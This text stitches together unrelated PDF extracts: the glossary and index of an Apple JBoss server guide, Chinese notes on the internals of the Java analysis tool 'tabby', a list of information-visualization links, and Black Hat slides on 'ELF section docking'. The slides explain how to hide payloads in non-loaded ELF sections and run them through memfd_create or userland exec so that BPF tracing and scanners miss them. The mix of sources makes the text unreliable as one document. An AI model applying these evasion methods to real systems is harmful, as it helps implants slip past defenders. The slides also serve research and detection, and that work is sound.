/Library/JBoss/Logs $ tail -f localhost_access<today’s_date_YYYY-MM-DD>.log 3. In the web-server computer, connect to http://<host_name>/petstore/ index.jsp. The first node should show a log entry similar to this: 17.203.255.255 - - [26/Sep/2003:15:56:58 -0800] "GET /petstore/index.jsp HTTP/1.1" 200 2769 4. Now, access the same URL from another computer. You should see a log entry in the second node. 68 Load Balancing and Clustering  Apple Computer, Inc. January 22, 2004 C H A P T E R 6 Balancing User Load and Replicating Sessions 69  Apple Computer, Inc. January 22, 2004 A P P E N D I X A A Document Revision History Table A-1 describes the revisions to this document. Table A-1 Document revision history Date Notes January 22, 2004 Changed document from preliminary draft to final. Added note per requiring a web browser to run the JBoss Deployment Tool. October 22, 2003 First version of Mac OS X Server Java Application Server Administration. 70  Apple Computer, Inc. January 22, 2004 A P P E N D I X A Document Revision History 71  Apple Computer, Inc. January 22, 2004 7 Glossary application server JBoss instance, which is started through Server Admin. CMP (container-managed persistence) Enterprise bean persistence model in which the J2EE container is responsible for persisting enterprise-bean instances to a data store and populating the fields of enterprise-bean instances when they are retrieved. deployment tool HTML-based application through which J2EE application or component archives can be configured or assembled in preparation for deployment in Mac OS X Server. EJB (Enterprise JavaBeans) Specification that provides an infrastructure through which data-based components can be developed and deployed in a variety of platforms. J2EE (Java 2, Enterprise Edition) Specification that defines a platform for the development and deployment of Web applications. It describes an environment under which enterprise beans, servlets, and JSP pages can share resources and work together. JBoss Java-based open-source application server capable of deploying J2EE-based applications. JBoss provides many useful features in addition those defined in the J2EE standard, including support for clustering, session replication, mail, and security. JMS (Java Message Service) Java-based programming interface that implements an asynchronous message-exchange system. It facilitates the development of message-based applications. JMS is part of the J2EE platform. management tool HTML-based application through which an application- server configuration can be modified. It also allows for the viewing of statistics of resources and services deployed on application servers, starting and stopping services, and adding topics, queues, and data sources. Pet Store Pet Store is a sample J2EE application from Sun Microsystems, which showcases the power and flexibility of the J2EE platform. queue A queue is a JMS construct that allows for point-to-point messaging between applications. A message sent to a queue can be received by only one application. When several applications are subscribed to the queue, the messages are load balanced between the subscribers. server Computer running Mac OS X Server. G L O S S A R Y 72  Apple Computer, Inc. January 22, 2004 topic Topics are one of the message distribution center types for J2EE-based applications. Message senders send messages only to topics instead of specific applications, while only the applications interested in receiving messages sent to a particular topic subscribe to the topic and, therefore, receive the messages sent to it. A topic can have one or more subscribers. Any message sent to the topic is broadcasted to all the topic’s subscribers. 73 Index A AJP connector 12 application servers 11 administering 47–60 configuring 55 creating a data source 58 creating a queue 59 creating a topic 59 deploying applications 59 load balancing 12, 61, 63–67 logging activity 17 managing 48, 51–55 monitoring 48, 56 starting 15–17 starting and stopping services in 57 Application Settings hyperlink 21 applications configuring 15, 18–25 deploying 25, 45 in clusters 25, 61 loading 18 saving 24 validating 19 appserveradm group 48–50 appserverusr group 48–50 C CatalogEJB module 22 clusters 61 configuring 63–67 deploying applications in 25 distributable applications 61 companion files 10, 27, 28 components, configuring 22–24 configuring applications petstore.ear 29–39 supplier.ear 39–45 CustomerJAR module 23 D data sources, creating 58 deploying applications 25, 59, 61 deployment configurations cluster 13 development 13, 17 standalone 13 deployment tool 11, 12 Application Settings hyperlink 21 Quick Config pane 22 starting the 18 E EAR files 11 H HTTP 12 HTTP sessions 13 httpd.conf file 63 HTTPS 12 J J2EE (Java 2, Enterprise Edition) 11, 13 JAR files 11 I N D E X 74 JBoss 11, 12 JBoss Management Console window 55 L load balancing 12, 61, 63–67 replication among stateful session beans 13 session replication 12 sticky sessions 12 logging activity 17 M Mac OS X Server 12 management tool 11, 13 logging in 47 managing application servers 48, 51–55 META-INF directory 11, 15, 20 mod_jk plug-in 12 monitoring application servers 48, 56 MySQL configuring 28 mysql command-line tool 28 N NetInfo Manager 49 P Pet Store application 20, 27 CatalogEJB module 22 creating database tables 28 CustomerJAR module 23 deploying 45 downloading 28 petstore.ear archive 20, 21, 29–39 AccountEJB 35 AddressEJB 36 application-wide settings 31 AsyncSenderEJB module 31 CatalogEJB module 32 ContactInfoEJB 36 CounterEJB 39 CreditCardEJB 36 CustomerEJB 37 CustomerJAR (EJB) module 32 database 33 data-source mapping 33 PetStoreWAR 37 ProfileEJB 37 relationships 34 SignOnJAR 38 UserEJB 38 petstore-destinations-service.xml file 28 Q queues, creating 59 R relationships 34 S SAR files 11 Server Admin 12 session affinity. See sticky sessions session failover. See session replication session replication 12, 61 starting and stopping services 57 stateful session beans, replication among 13 statistics 13 sticky sessions 12 supplier.ear archive 39–45 AddressEJB 42 application-wide settings 40 I N D E X 75 ContactInfoEJB 43 InventoryEJB 41 LineItemEJB 43 OrderFulfillmentFacade 41 SupplierEAR 40 SupplierJAR 40 SupplierOrderEJB 44 SupplierOrderMDB 41 SupplierPurchaseOrderJAR 42 SupplierWAR 44 T Tomcat 12 topics, creating 59 W WAR files 11 watchdog process 12 WEB-INF directory 11, 15, 20 workers.properties file 64 76
pdf
1 tabby分析 tabby是做成⼀个springboot项⽬启动,为什么这么做,暂时不清楚(后⾯清楚了,⽅便数据库操作) App.class#run() 流程如下,判断是否是jdk8,然后加载settings配置,然后设置配置,解析配 置,最后基于配置运⾏分析 2 配置⽂件如下 配置分析 3 简单解释下参数 tabby.build.target: 要分析的⽬标,可以是⼀个⽬录,也可以是⼀个jar包。 tabby.build.isJDKProcess: 将jre中的三个jar包也加⼊到target进⾏分析, "lib/rt.jar","lib/jc e.jar","lib/ext/nashorn.jar" tabby.build.withAllJDK: 在上述jre是三个jar包之外,还会增加jdk⾥的jar包分析,共19个jar包 tabby.build.checkFatJar: 这个是因为像项⽬打包成⼀个fatjar时,内部可能还有jar包,需要进⼀步解析 tabby.build.libraries: 依赖包⽬录, 这个是为了让target在解析到依赖包时,可以递归依赖解析,不会 全量解析,默认是只有jre的3个jar包做依赖。PS: 如果不设置,默认是libs⽬录。 tabby.load.enable:开启后,会⾃动导⼊neo4j,如果没开启也不要紧,后续再看,因为之前jar包都分 析过了,就⾃动跳过到导⼊步骤。 4 这⾥有两个配置可以注意下, tabby.build.enable 和 tabby.load.enable 如果先进⾏分析不导⼊neo4j, tabby.load.enable 可先设置为false,分析完后再把 tabby.bui ld.enable 设置为false,开启 tabby.load.enable ,只做导⼊,什么情况可能会使⽤,我已经⽣ 成过多个graphdb,我需要根据需要导⼊,就可以关闭build,只load。 这个⽐较简单,先过⼀下 ⼀共两步,reset和save reset就是将soot⾥的⼀些属性重置。G类是soot⾥的 load分析 tabby/core/Analyser.java#run 5 接着就是save,可以看到三步,保存到csv,然后再保存到neo4j,最后清除csv soot/G.java 6 save2CSV,将类、⽅法、关系都保存。 关系类型分为以下5种,alias(别名)、has(类拥有的⽅法)、extend、call(⽅法调⽤)、interfaces(接⼝) tabby/core/Analyser.java#save() tabby/core/container/DataContainer.java#save2CSV() 7 最终都是通过 @Qquery 注解使⽤默认的hibernate( CrudRepository )执⾏查询,这样就不依赖 第三⽅数据库来转换存储,这可能也是为啥使⽤springboot的理由之⼀吧。 接着就是导⼊neo4j tabby/dal/caching/service/RelationshipsService.java#save2CSV() tabby/dal/caching/repository/ClassRepository.java#save2CSV 8 ⽐如⽅法导⼊使⽤的 methodService.importMethodRef() ,如下找到对应csv导⼊ src/main/java/tabby/dal/neo4j/repository/MethodRefRepository.java,对应如下,可以看到是继 承neo4j相关类( Neo4jRepository ),然后也是 @Query 来执⾏,这样只要配置springboot的 application.yml,都不需要配置neo4j的连接、执⾏,⾮常⽅便的导⼊,估计也是因为这使⽤了 springboot。 PS: 如果需要添加其他⽅法属性,就需要改动这块导⼊的语句了。 tabby/core/container/DataContainer.java#save2Neo4j 9 最后的buildEdge也就是导⼊各种关系类型 tabby/dal/neo4j/repository/MethodRefRepository.java#loadMethodRefFromCSV 10 最后clean就是删除csv tabby/dal/neo4j/service/ClassService.java 11 如果要做调试,查看中间⽂件csv,其实只需要保留csv的⽣成即可。 这样你就能查看⼀些需要的信息,可以⽤来排查吧。 先是获取jdk依赖,3个还是19个,然后收集⽬标jar、class等,这⾥判断是否是IS_JDK_ONLY,来判断 是收集jdk还是收集指定target⽬录,接着添加依赖包,。 build分析 Java 复制代码        dataContainer.save2CSV(); //       dataContainer.save2Neo4j(); //       clean(); 1 2 3 12 getTargetDirectoryJarFiles简单来说就是获取⽬标的所有jar包、war包和class,判断是⼀个jar包还是 ⽬录来选择不同收集⽅式。这⾥只是做收集,⽐如jar包,除⾮是fatjar,都不会解压成class,只是将路 径存放到paths⾥。 tabby/core/Analyser.java#run 13 cps和targets都是hashmap,key是md5,value是jar、class等路径。 targets⽤于存储分析⽬标,cps⽤于存储依赖包,会把targets也存储进去 14 解析过程⼤致如下 15
pdf
Information Visualization Survey http://www.cs.umd.edu/class/spring2001/cmsc838b/presentations/Beth_Weinstein/apt.ppt http://portal.acm.org/citation.cfm?id=260433&dl=ACM&coll=portal http://www.ee.ic.ac.uk/research/information/www/Bobs.html http://www.nickerson.to/visprog/ch7/IMG00049.GIF http://www.ee.ic.ac.uk/research/information/www/bi.gif http://web.media.mit.edu/~fviegas/circles/conversational_interface.html Chernoff, H. (1973). Using faces to represent points in k-dimensional space graphically. Journal of American Statistical Association, 68, 361-368. Chernoff, H., & Rizvi, M. H. (1975). Effect on classification error or random permutations of features in representing multivariate data by faces. Journal of American Statistical Association, 70, 548-554. http://www.bradandkathy.com/images/face.gif http://research.compaq.com/SRC/3D-animate/conetree.html http://www1.cs.columbia.edu/~paley/spring03/assignments/HW3/gwc2001/mountain.jpg http://davenation.com/doitree/doitree-avi-2002_files/image032.gif www.daimi.au.dk/~mackinla/iv-course/ sources/4-graphs.ppt http://class.ee.iastate.edu/berleant/home/Courses/text/TextVisualization/DocumentLens.jpg Robertson, G. G. and J. D. Mackinlay, The Document Lens, Proceedings of the Sixth Annual ACM Symposium on User Interface Software and Technology (UIST '93), Nov. 3--5, 1993, Atlanta, pp. 101--107. http://www.acm.org/sigchi/chi95/Electronic/documnts/videos/cw2_bdy.htm http://www.cc.gatech.edu/classes/AY2003/cs7450_spring/Students/a1/sumier.phalake/CS%207450assignment1_files/image006.jpg http://www.cs.umd.edu/hcil/excentric/ http://brisa.merl.com:8080/myezchooser/bargrams.pdf http://transcriptions.english.ucsb.edu/archive/colloquia/Kirshenbaum/filmfinder.gif http://www.cs.umd.edu/hcil/datelens/ http://citeseer.ist.psu.edu/furnas81fisheye.html http://www2.parc.com/istl/projects/fluid/ http://citeseer.ist.psu.edu/rennison94galaxy.html http://www.grokker.com/ http://www.xenky.com/news/ITBulletin_files/grokmap.jpg http://graphics.stanford.edu/~munzner/h3/ http://www.mcs.vuw.ac.nz/~alex/ownershipvisualisations/index.shtml http://www.sapdesignguild.org/community/book_people/visualization/controls/HomeFinder.htm http://www.inxight.com/ http://coli.lili.uni-bielefeld.de/Text-Band/Bucher/Abb-11a.gif http://www.cc.gatech.edu/gvu/softviz/infoviz/information_mural.html http://www.viktoria.se/fal/projects/infoart/ http://www.cc.gatech.edu/gvu/ii/infoart/ http://www.sapdesignguild.org/editions/edition2/images/lindner/Fig4.gif http://www.cs.umd.edu/hcil/jazz/index.shtml http://www.nersc.gov/research/annrep01/images/highlights/20sh_rakhsar2.gif http://www.cs.umd.edu/hcil/kidpad/ http://www.cis.hut.fi/research/som-research/teuvo.html Image: http://www.zimduction.de/stefan-zimmermann/projekte/nnf/home.html http://www.cs.umd.edu/hcil/lifelines/ http://www2.parc.com/istl/projects/MagicLenses/default.html http://www.sims.berkeley.edu/~hearst/irbook/10/node6.html http://www.smartmoney.com/marketmap/ http://java.sun.com/features/2000/06/images/marketmap.big.smartmoney.gif http://citeseer.ist.psu.edu/wills97nicheworksinteractive.html http://infomap.service-public.org/surface/Images/nicheworks1_large.jpg http://www.cs.umd.edu/hcil/pad++/ A. Inselberg and B. Dimsdale. Parallel coordinates: A tool for visualizing multidimensional geometry. Proc. of Visualization '90, p. 361-78, 1990. http://davis.wpi.edu/~xmdv/images/para.gif http://www.webcollab.com/alee-wai2003/images/pgarden.gif http://www.comp.leeds.ac.uk/kwb/VIS/v03_17.ppt http://www.cs.umd.edu/hcil/treemap-history/photomesa.gif http://www.cc.gatech.edu/gvu/ii/talks/softvis99.pdf http://www.research.ibm.com/pv/ http://www-2.cs.cmu.edu/~sage/ http://www.itl.nist.gov/div898/handbook/eda/section3/eda33qb.htm http://www-2.cs.cmu.edu/~sage/sample.html http://www.cc.gatech.edu/classes/AY2003/cs7450_spring/Students/a1/sumier.phalake/ http://www.dcc.uchile.cl/~rbaeza/inf/testeo.html ! http://www.win.tue.nl/sequoiaview/ http://www.cs.umd.edu/hcil/spacetree/ http://www.cc.gatech.edu/classes/AY2003/cs7450_spring/Students/a1/sumier.phalake/ Chambers, John, William Cleveland, Beat Kleiner, and Paul Tukey, (1983), Graphical Methods for Data Analysis, Wadsworth. http://seamonkey.ed.asu.edu/~behrens/asu/reports/compre/star_plot.GIF http://www.cc.gatech.edu/gvu/ii/sunburst/ http://www.cs.umd.edu/class/spring2001/cmsc838b/Project/Kolatch_Weinstein/TableLens.jpg http://www.cc.gatech.edu/gvu/ii/talks/softvis99.pdf http://www.cc.gatech.edu/aristotle/Tools/tarantula/ http://www.textarc.org/ http://transcriptions.english.ucsb.edu/archive/colloquia/Kirshenbaum/themescape.jpg Hearst, M., TileBars: Visualization of Term Distribution Information in Full Text Information Access, ACM SIGCHI Conference on Human Factors in Computing Systems, 1995, pp. 59--66. http://class.ee.iastate.edu/berleant/home/Courses/text/TextVisualization/survey.htm http://www.cs.umd.edu/hcil/timesearcher/docs/graphics/fullscreen.gif http://www.cs.umd.edu/class/spring2001/cmsc838b/Project/Kolatch_Weinstein/ http://visc.sis.pitt.edu/projects/vibe.asp " http://www.cs.brown.edu/memex/ACMCSHT/51/51.html http://pitecan.com/papers/UIST95/UIST95.pdf http://davis.wpi.edu/~xmdv/index.html
pdf
#BHUSA @BlackHatEvents ELF Section Docking Revisiting Stageless Payload Delivery Dimitry Snezhkov, X-Force, IBM Corporation #BHUSA @BlackHatEvents Information Classification: General Who -m Dimitry Snezhkov, X-Force, IBM Corporation • Research (Offense / Defense) • Tooling Support #BHUSA @BlackHatEvents Information Classification: General Goals • Overview of static payload bundling mechanisms in Linux. • Evolution of static payload embedding. • Improving viability of static payloads in delivery. • Binary compatibility of ELF sections as a unit of payload. • ELF section docking: Payload attachment factory at adversarial sites. • Detection, evasion successes and pitfalls of the docking approach • ELFPack PoC demo #BHUSA @BlackHatEvents Information Classification: General Payload Delivery Dynamic Static • Generated at runtime • Fetched at runtime from external (to loader) source + Light(er) loader + Less chance of detection due to absence of embedded payload + More flexibility - More chance of detection with use - More exposed loading mechanism - More moving parts - More detonation dependencies (environment). - Long haul activation / dormancy issues. • Bundled with delivery mechanisms • Time-released + Less chances of detection due to close coupled variance + Less detonation dependencies (environment) + Less moving parts + Better activation / dormancy once deployed - Heavier close coupled loader, greater size - More chance of detection due to embedded payload - Less flexibility (runtime awareness and variance) Iit’s a dial … #BHUSA @BlackHatEvents Information Classification: General Payload Delivery Dynamic Static • Empirically, more prevalent (short and long haul): 1. Deploy stager 2. Fetch payload 3. Load payload (maybe, on itself) 4. Maybe delete stager • Empirically, less widespread in long haul implants • Time-released 1. Deploy the bundle (maybe, on itself) Can we improve Static delivery Dynamic is well understood #BHUSA @BlackHatEvents Information Classification: General Payload Delivery Tradeoffs Desired Dynamic Traits Undesired Static traits + Less chance of detection due to absence of embedded payload + More flexibility - Heavier close coupled loader, greater size - More chance of detection due to embedded payload - Less flexibility (runtime awareness and variance) • Why is static out of favor • Can its traits be improved • Can we turn downsides into an upside #BHUSA @BlackHatEvents Information Classification: General How We Embed Hex-binary inclusion compilation and linking: Directly in default .data section via compiler Manually or with tools like bin2c or xxd -i payload.bin > payload.h Easily traced at runtime debugging or static binary inspection #BHUSA @BlackHatEvents Information Classification: General How We Embed Hex-binary inclusion compilation and linking: In a separate ELF section. • Place payload data or certain variables in additional sections. • Achieved with a compiler dependent mechanism. In gcc, it's done via __attribute__'s. Can be traced at runtime debugging or static binary inspection. #BHUSA @BlackHatEvents Information Classification: General How We Embed Linker-binary inclusion: Assembler and linker specific directives. Assembler dependent .incbin-like directive can create a section and embed a payload. Tools: • gcc -c payload.s or • ld -r -b payload.bin -o payload.o Note: fully functional payload file. Path to create “fat” binaries for packing. Retrieval in code can be done as follows: #BHUSA @BlackHatEvents Information Classification: General How We Embed Linker-binary inclusion: Assembler and linker specific directives (Cont.) More ergonomic tools exist • INCBIN from @graphitemaster, same idea. In-code solution to construct multi-sectional ELF payload may be as follows: Note PROGBITS directive, will be important. #BHUSA @BlackHatEvents Information Classification: General How We (Better) Embed Compiler / linker-based payload are not ideal. The process of embedding in code is tightly coupled to the creation of payload loader. • Challenges with payload format changes • By default, data carrying section have PROGBITS flags set on it, and it will be PT_LOAD’ed into memory by the OS loader by default. We do not want this (Linking è Detection) There are tradeoffs #BHUSA @BlackHatEvents Information Classification: General How We (Better) Embed ELF sections and load flags Type of section and flags set on the new section determine whether OS loader loads it in the memory upon executable launch. Some sections are loaded automatically by default, others are not. Offense can take advantage of that! #BHUSA @BlackHatEvents Information Classification: General How We (Better) Embed: Take 2 Avoiding default OS loader actions We can: • Avoid setting flags on sections that assume default loading in memory. • Use a different type of section that does not load in memory. • As an example – SHT_NOTE type, from ELF docs: #BHUSA @BlackHatEvents Information Classification: General How We (Better) Embed: Take 2 = SHT_NOTE is widely used in Linux system binaries: Avoiding default OS loader actions #BHUSA @BlackHatEvents Information Classification: General ELF Section Docking Compiler is a problem: Decoupling payloads So far, we have: • Created a dormant section in ELF image (in code) • Avoided loading it in memory by the OS loader. However: • Section çè structure of the final ELF • Tight relationships of memory addresses from the loader code #BHUSA @BlackHatEvents Information Classification: General ELF Section Docking Compiler is a problem: Decoupling payloads What if we: • Create an ELF section with embedded payload outside of the loader compilation workflow • Attach that section to a loader binary later This would: • Break the address offset relationship of the loader code with the section. • Teach the loader how to find and load its foreign data section, effectively "docking" a standalone payload to a loader in a loosely coupled manner. #BHUSA @BlackHatEvents Information Classification: General ELF Section Docking Compiler is a problem: Decoupling payloads, Avoiding OS loader • Loader should not be entangled with payload semantics • Loading and executing binary payload without modifying loader code to tailor to new payloads via binary section compatibility. • Loading without using OS loader ld.so (ELF loader) which is loading payload in memory automatically. Achieves ABI compatible In-field payload (re-)attachment. #BHUSA @BlackHatEvents Information Classification: General ELF Section Docking Binary Compatibility at Section level • Injector/bundler which will introduce a payload section to the loader without either one operating at code level, only binary compatibility • Loader is aware how to load a payload section but not what the payload is. #BHUSA @BlackHatEvents Information Classification: General ELF Section Docking Possible Wins Static Elf loader: • Shipped on its own • Devoid of payloads • Only mechanisms to load a section on demand and bootstrap the payload from it. Sectional Payload: • Created separately • Bundled with loader at any time as a static stage • Better dormancy control with an injector. • Better packing. No overhead on detection for conventional packer processing and code. In memory – not tmpfs for unpacks. Fat binaries possible (multiple sections). • Be a full ELF executable itself if needed Injector can broker attachment of sections from several binaries (dormant stages) to construct a section and inject into the loader. #BHUSA @BlackHatEvents Information Classification: General ELFPack Sectional ELF Injector/Packer: • Streamlined payload generation pipeline • In field payload to loader attachment without compiler Sectional ELF Loader: • Loads full ELFs or shellcode from reading and parsing its own binary. Tracing does not see mprotect()’s on mapping into memory and loading • Airgapped separation between where the payload is and how it’s loaded. • Ability to accept and forward arguments to sectional payloads Binary payload in section • Can be a fully functional ELF binary with much less constraints (3rd party tooling, linking intact). • Can be uniquely obfuscated without regard to space (.NOTE records are variable size for example) • Can be memory-resident or extracted to FS or run as part of a table of contents (fat payload loader). • Does not need to be relocated when preparing for execution. • Cross-attachment binary evasion chain: Loader A can read Loader B’s payload. #BHUSA @BlackHatEvents Information Classification: General ELFPack – Loader Option A : SYS_Memfd_create () - Done with libreflect but may be done with Zombieant pre-loader - More detectable at levels: - anonymous file in /proc/self/fd/ - uses sys_memfd_create ( syscall #319 ) - Does fork/exec, BPF tracing for execve() will record. Option B: User land Exec (https://grugq.github.io/docs/ul_exec.txt) - Done with libreflect for now. Nice interface. - Hollows out the loader and overlays with payload. - No sys_enter_exec /sys_exit_exec calls. BPF tracing for execve() not catching - Downside: you cannot daemonize via loader (loader memory is gone on exec image overlay) but the payload can daemonize itself when launches: the beauty of shipping ELF binaries vs. shipping shellcode J #BHUSA @BlackHatEvents Information Classification: General ELFPack: Detect: Binwalk Raw Payload (mettle) Sectioned Payload (mettle) #BHUSA @BlackHatEvents Information Classification: General ELFPack: Detect: Biwalk: Entropy Raw Payload (mettle) Sectioned Payload (mettle) #BHUSA @BlackHatEvents Information Classification: General ELFPack: Detect: BPF + YARA Tracepoints -> syscalls: Sys_enter_memfd_open Sys_exit_memfd_open Sys_enter_exec* YARA static scan ELF More detection and evasion BPF filter based #BHUSA @BlackHatEvents Information Classification: General ELFPack Demo #BHUSA @BlackHatEvents Information Classification: General Summary • Section docking presents desired features for payload delivery • Static vs. dynamic payload loading is a dial not an either or. • Overcome limitations of packers for in-memory unwrap and detection • Detect ELF packing at runtime and static. • Overcome detections with packing and encryption. #BHUSA @BlackHatEvents Information Classification: General Q&A? Code: https://github.com/xforcered/elfpack Thanks!
pdf